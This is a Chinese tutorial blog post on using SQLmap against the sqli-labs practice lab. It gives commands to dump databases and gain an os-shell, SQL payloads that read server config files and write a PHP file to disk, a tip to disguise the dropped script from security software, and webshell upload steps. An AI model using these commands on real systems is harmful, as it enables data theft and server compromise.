【渗透测试】SQLmap实战:一键获取MySQL数据库权限

注:所有技术仅用于合法安全测试与防御研究,未经授权的攻击行为属违法犯罪,将承担法律责任。


一、SQLmap常规用法

注意存放路径:C:\Users\neo\AppData\Local\sqlmap\output

1、列出详细过程和数据库列表

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch

2、指定一个数据库获取表名:

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security --tables

3、指定表名获取字段名称

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security -T users --columns

4、获取指定数据库下指定数据表中的所有数据

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security -T users --dump
​
#注意存放路径:C:\Users\neo\AppData\Local\sqlmap\output\目标\dump\数据库名称

5、dump所有数据(不建议:提示大于3条包吃包住)

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch --dump

二、针对 MySQL 的 os-shell 使用方法

1. 基本命令

检测注入点并尝试获取 os-shell

sqlmap -u "http://example.com/page.php?id=1" -dbs --os-shell

指定 MySQL 注入点: 如果已知目标是 MySQL 数据库,可以使用--dbms参数指定,提高效率:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell

2. 针对 MySQL 的高级参数

指定 MySQL 配置: 如果已知 MySQL 的一些配置信息,可以直接指定以提高成功率:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --mysql-db=test --mysql-user=root

强制使用文件写入方式: 如果直接执行方式失败,可以强制 SQLMap 使用文件写入方式:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --force-direct=0

指定 Web 目录: 手动指定已知的 Web 目录路径:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --web-root="/var/www/html"

指定临时脚本文件名: 自定义临时 PHP 脚本文件名,避免被安全软件检测:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --file-name="img.php"

三、获取 MySQL 环境 Web 目录的方法

1. 通过 MySQL 系统变量

查询数据目录

SELECT @@datadir;

该命令返回 MySQL 数据文件存储目录,如/var/lib/mysql/,可结合服务器类型猜测 Web 目录。

查询配置文件路径

SELECT @@basedir;

返回 MySQL 安装目录,通常为/usr/local/mysql/C:\Program Files\MySQL\MySQL Server 5.7\

2. 读取 Web 服务器配置文件

如果拥有足够权限,可以直接读取 Web 服务器配置文件获取 DocumentRoot:

读取 Apache 配置

SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
SELECT LOAD_FILE('/etc/apache2/apache2.conf');

读取 Nginx 配置

SELECT LOAD_FILE('/etc/nginx/nginx.conf');
SELECT LOAD_FILE('/usr/local/nginx/conf/nginx.conf');

Windows 系统

SELECT LOAD_FILE('C:/Program Files/Apache Group/Apache2/conf/httpd.conf');
SELECT LOAD_FILE('C:/nginx/conf/nginx.conf');

在配置文件中搜索DocumentRoot(Apache)或root(Nginx)即可找到 Web 根目录。

3. 利用错误信息泄露

通过构造特殊请求触发 MySQL 错误,获取路径信息:

文件包含尝试

http://example.com/index.php?id=../../../../../../etc/passwd

如果应用程序直接将参数传递给 MySQL 查询,可能返回包含 Web 目录的错误信息:

Warning: include(../../../../../../etc/passwd) failed to open stream: No such file or directory in /var/www/html/index.php on line 20

4. 写入探针文件

如果拥有 FILE 权限,可以写入一个包含 PHP 信息的探针文件:

SELECT '<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/phpinfo.php';

访问http://example.com/phpinfo.php,在_SERVER["DOCUMENT_ROOT"]字段可以找到 Web 根目录。

四、OS-Shell靶场实例

来到SQLI靶场第一关

启动sqlmap工具,先扫一下靶场的数据库,留做记录

python sqlmap.py -u http://bachang/sqli-labs-master/Less-1/?id=1 --dbs

在使用 sqlmap 的 --os-shell 功能时,结合 Burp Suite(简称 BP)抓包分析可以清晰观察 sqlmap 与目标服务器的交互过程,理解其如何利用 SQL 注入漏洞执行系统命令。

在SQLI靶场第一关,找到传参点,使用BP抓包

将抓到的包请求保存到文件;less-1.txt中,然后放进SQLmap工具中跑包

python sqlmap.py -r "C:\Users\User\Desktop\less-1.txt" -dbms=mysql --os-shell

获取靶场第一关的MySQL 数据文件存储目录:C:\Users\ruanjian\phpstudy_pro\Extensions\MySQL5.7.26\data\

?id=-1' UNION SELECT 1,@@datadir,3 --+

通过回显结果可以知道,靶场网站是借助小皮工具搭建的,那么第一关的Web可写路径就是:

C:\Users\ruanjian\phpstudy_pro\WWW\bachang

在SQLmap工具中,选择2,手动指定自定义的 Web 可写目录路径。

解决权限问题后,重启SQLmap工具

这里获得了两个url,访问第一个url, 可以看到最下方有文件上传的位置,在这里我们可以上传一句话木马。。

打开蚁剑连接,测试连接成功。

总结:sqlmap --os-shell 的使用需要以下条件。

①知道网站的物理路径。

②网站路径具有写入的权限。

③sqlmap能够跑出数据库。


注:所有技术仅用于合法安全测试与防御研究,未经授权的攻击行为属违法犯罪,将承担法律责任。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/94463.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/94463.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LeetCode 第464场周赛 第三天

1. 3658 奇数和与偶数和的最大公约数&#xff08;欧几里得&#xff09; 链接&#xff1a;题目链接 题解&#xff1a; 题解时间复杂度O(logmin(a, b))&#xff1a; 获得前n个奇、偶数的总和&#xff0c;由于数列为等差数列&#xff0c;等差数列和公式&#xff1a;(a1 an) * n …

IntelliJ IDEA 集成 ApiFox 操作与注解规范指南

一、IDEA装入Apifox 1.安装Apifox Helper 说明:在 IntelliJ IDEA 中安装 ApiFox Helper 插件。 2.打开Apifox 说明:点击 设置,在菜单中选择 API访问令牌。在弹出的窗口中输入任意名称,并选择令牌的有效期(为了方便,我这里选择了 无期限)。生成令牌后,由于 令牌只能复…

C++---双指针

在C编程中&#xff0c;双指针算法是一种高效的解题思路&#xff0c;其核心是通过设置两个指针&#xff08;或索引&#xff09;遍历数据结构&#xff08;如数组、链表、字符串等&#xff09;&#xff0c;利用指针的移动规则减少无效操作&#xff0c;从而将时间复杂度从暴力解法的…

【LLM】GLM-4.5模型架构和原理

note 文章目录note一、GLM-4.5模型二、Slime RL强化学习训练架构Reference一、GLM-4.5模型 大模型进展&#xff0c;GLM-4.5技术报告,https://arxiv.org/pdf/2508.06471&#xff0c;https://github.com/zai-org/GLM-4.5&#xff0c;包括GLM-4.5&#xff08;355B总参数&#xff…

LLM 中增量解码与模型推理解读

在【LLM】LLM 中 token 简介与 bert 实操解读一文中对 LLM 基础定义进行了介绍&#xff0c;本文会对 LLM 中增量解码与模型推理进行解读。 一、LLM 中增量解码定义 增量解码&#xff08;Incremental Decoding&#xff09;是指在自回归文本生成过程中&#xff0c;模型每次只计…

1.Spring Boot:超越配置地狱,重塑Java开发体验

目录 一、Spring框架&#xff1a;伟大的基石 历史背景与挑战 Spring的革命性贡献 新的挑战&#xff1a;配置地狱 二、Spring Boot&#xff1a;约定大于配置的革命 四大核心特性 1. 快速创建独立应用 2. 自动配置&#xff1a;智能化的魔法 3. 起步依赖&#xff1a;依赖管…

assert使用方法

assert 是 Python 中用来进行 调试 和 验证 的一个关键字&#xff0c;它用于测试一个 条件表达式 是否为真。如果条件为假&#xff0c;assert 会抛出一个 AssertionError 异常&#xff0c;通常带有错误信息。语法&#xff1a;assert condition, "Error message"condi…

【实习总结】快速上手Git:关键命令整理

目录 git的四大工作区域 git首次配置 克隆远程仓库 提交代码到远程仓库 查看文件状态&#xff08;可选&#xff09; 添加文件到暂存区 将暂存区的内容提交到本地仓库 将本地的提交上传到远程仓库 拉取并合并代码 第一种方式 第二种方式 分支管理 查看与创建分支 …

02-开发环境搭建与工具链

第2课&#xff1a;开发环境搭建与工具链 &#x1f4da; 课程目标 掌握DevEco Studio的下载、安装和配置熟悉HMS Core&#xff08;华为移动服务&#xff09;的使用了解鸿蒙模拟器与真机调试环境掌握必备开发工具的使用 &#x1f6e0;️ DevEco Studio环境搭建 2.1 下载与安装…

删掉一个元素以后全为1的最长子数组-滑动窗口

1493. 删掉一个元素以后全为 1 的最长子数组 - 力扣&#xff08;LeetCode&#xff09; Solution #include<iostream> #include<vector> using namespace std;class Solution { public://滑动窗口//动态维护一个窗口&#xff0c;窗口内只能有1个0&#xff0c;记录窗…

【计算机网络 | 第8篇】编码与调制

文章目录通信系统中的编码与调制&#xff1a;从信道基础到信号传输技术一、信道与通信电路&#x1f342;二、三种基本通信方式&#x1f4d6;1. 单向通信&#xff08;单工通信&#xff09;2. 双向交替通信&#xff08;半双工通信&#xff09;3. 双向同时通信&#xff08;全双工通…

当AI遇上终端:Gemini CLI的技术魔法与架构奥秘

"代码不仅仅是指令的集合&#xff0c;更是思想的载体。当AI与终端相遇&#xff0c;会碰撞出怎样的火花&#xff1f;" 在这个AI技术日新月异的时代&#xff0c;Google推出的Gemini CLI无疑是一颗璀璨的明星。它不仅仅是一个命令行工具&#xff0c;更是一个将人工智能无…

ViLU: Learning Vision-Language Uncertainties for Failure Prediction

研究方向&#xff1a;Image Captioning1. 论文介绍本文提出ViLU&#xff08;Vision-Language Uncertainties&#xff09;&#xff0c;一个用于学习视觉语言不确定性量化&#xff08;UQ&#xff09;和检测视觉语言模型故障的事后框架。使用VLMs进行量化&#xff08;UQ&#xff0…

数据集笔记:百度地图高德地图坐标互转

1 为什么会有高德坐标系和百度坐标系&#xff1f;根据《测绘法》和国家保密法规&#xff0c;在中国大陆范围内的地理坐标数据必须做加密处理&#xff0c;不允许直接使用 WGS84&#xff08;openstreetmap&#xff09;所以出现了GCJ-02 和 BD-09高德、腾讯、谷歌中国都遵循 GCJ-0…

SkyWalking高效线程上下文管理机制:确保调用链中traceId来自同一个请求

SkyWalking Agent 能确保获取到“正确”的 traceId,其核心在于它建立并维护了一套高效的线程上下文管理机制。这套机制确保了即使在复杂的多线程、异步环境下,也能将正确的上下文(包含 traceId)与当前正在执行的代码逻辑关联起来。 其工作原理可以概括为下图所示的流程: …

Kafka-Eagle安装

目录Eagle环境安装Mysql环境准备Kafka环境准备Eagle安装Kafka-Eagle框架可以监控Kafka集群的整体运行情况&#xff0c;在生产环境中经常使用 Eagle环境安装 Mysql环境准备 Eagle的安装依赖于Mysql&#xff0c;Mysql主要用来存储可视化展示的数据 将mysql文件夹及里面所有内…

Matlab系列(005) 一 归一化

目录1、前言2、什么是归一化&#xff1f;3、为什么要进行归一化4、归一化方法详解与Matlab实现5、总结1、前言 ​   归一化技术是数据预处理的核心环节&#xff0c;本文将深度解析主流归一化方法&#xff0c;提供可复现Matlab代码&#xff0c;并探讨其在各领域中的应用场景。…

【K8s】整体认识K8s之namespace

命名空间将资源划分为相互隔离的组。kubectl get namespace/ns系统默认创建四个namespace&#xff0c;分别是default、kube-node-lease、kube-public、kube-system。default 没有指明使用其它命名空间的对象所使用的默认命名空间、kube-system 系统创建对象所使用的命名空间。…

rust语言 (1.88) egui (0.32.1) 学习笔记(逐行注释)(十八) 使用表格

使用表格egui_extras::TableBuilder // Cargo.toml [dependencies] eframe "0.32.1" egui "0.32.1" egui_extras "0.32.1"egui_extras::Column::auto() 列宽根据内容自动计算.resizable(true) 允许用户手动拖动调整列宽 fn main() -> efra…

【C#】构造函数实用场景总结

文章目录前言一、构造函数是什么&#xff1f;二、构造函数的用法1.初始化对象&#xff0c;避免无效状态2 初始化静态成员3 构造函数重载4.构造函数链5. 单例模式&#xff0c;多次实例化保持一个对象6. 依赖注入7. 初始化只读对象前言 构造函数是我们平常编程里经常能碰到的老伙…